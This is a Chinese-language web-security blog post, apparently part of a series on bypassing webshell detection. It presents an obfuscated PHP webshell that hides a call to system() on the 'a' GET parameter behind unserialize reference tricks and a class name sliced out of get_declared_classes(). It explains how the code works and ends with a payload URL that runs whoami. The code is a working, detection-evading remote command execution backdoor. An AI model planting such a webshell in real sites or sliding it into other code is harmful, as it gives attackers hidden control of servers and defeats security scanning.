当前位置: 首页 > news >正文

WEB安全--RCE--webshell bypass2

继WEB安全--RCE--webshell bypass的补充:

六、PHP反序列化

webshell:

<?php
$s= 
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;for($i;$i<count($arr);$i++){$i++;$s[1]->a=$_GET['a'];if($i<97 || $i>=98){continue;}$c=$s[0]->a;print(substr(get_declared_classes()[55],4,6)($c));
}
?>

原理:

打印$s:

可以看到$s反序列化后有两个值,但是源码中似乎只有一个stdClass;原因是[0]是由[1]引用复制后的值,可以理解为[1]的变化会导致[0]的变化

打印$arr:

基于上述两个打印值对源码进行分析,我们不难得出其原理:

一开始$c = "123",进入for循环;

$s[1]->a = $_GET['a']一直在接收我们的传参,不过由于if判断,当$i = 97时才会进入下一步;

此时$s[1]->a的值是我们URL传递的参数,而$c = $s[0]->a,且$s[1]->a 的值会同步影响$s[0]->a,所以$c =  $_GET['a'];

get_declared_classes()[55]对应的是FilesystemIterator,通过截取取出system;

最后 print(substr(get_declared_classes()[55],4,6)($c)) 就会变成:

print(system($_GET['a']))

payload:

http://127.0.0.1/rce/bypass.php?a=whoami

相关文章:

  • Dagster Pipes系列-2:增强外部脚本与Dagster的交互能力
  • 【Python】Python常用数据类型判断方法详解
  • Node.js中那些常用的进程通信方式
  • 4.MySQL全量、增量备份与恢复
  • 使用本地部署的 LLaMA 3 模型进行中文对话生成
  • 【WPF】Opacity 属性的使用
  • uniapp|实现手机通讯录、首字母快捷导航功能、多端兼容(H5、微信小程序、APP)
  • WebSocket的原理及QT示例
  • MIT XV6 - 1.6 Lab: Xv6 and Unix utilities -uptime
  • 内存泄漏系列专题分析之十一:高通相机CamX ION/dmabuf内存管理机制Camx ImageBuffer原理
  • 新手安装java所有工具(jdk、idea,Maven,数据库)
  • 迁移 Visual Studio Code 设置和扩展到 VSCodium
  • FFmpeg 与 C++ 构建音视频处理全链路实战(一)—— 环境配置与视频解封装
  • Linux异步通知机制详解
  • 存算一体芯片对传统GPU架构的挑战:在GNN训练中的颠覆性实验
  • labview硬件采集
  • AD22 快速定义PCB板框与DXF导入定义
  • MFC listctrl修改背景颜色
  • 项目全栈实战-基于智能体、工作流、API模块化Docker集成的创业分析平台
  • Spark SQL 运行架构详解(专业解释+番茄炒蛋例子解读)
  • 中美发布日内瓦经贸会谈联合声明达成关税共识,外交部回应
  • 2025年度十大IP!IP SH荣膺文化综合类TOP10
  • 西藏日喀则市拉孜县发生5.5级地震,震源深度10公里
  • 侧记|青年为何来沪创新创业?从这一天寻找答案
  • 马上评丨维护学术诚信别陷入“唯AI检测”误区
  • 长江画派创始人之一、美术家鲁慕迅逝世,享年98岁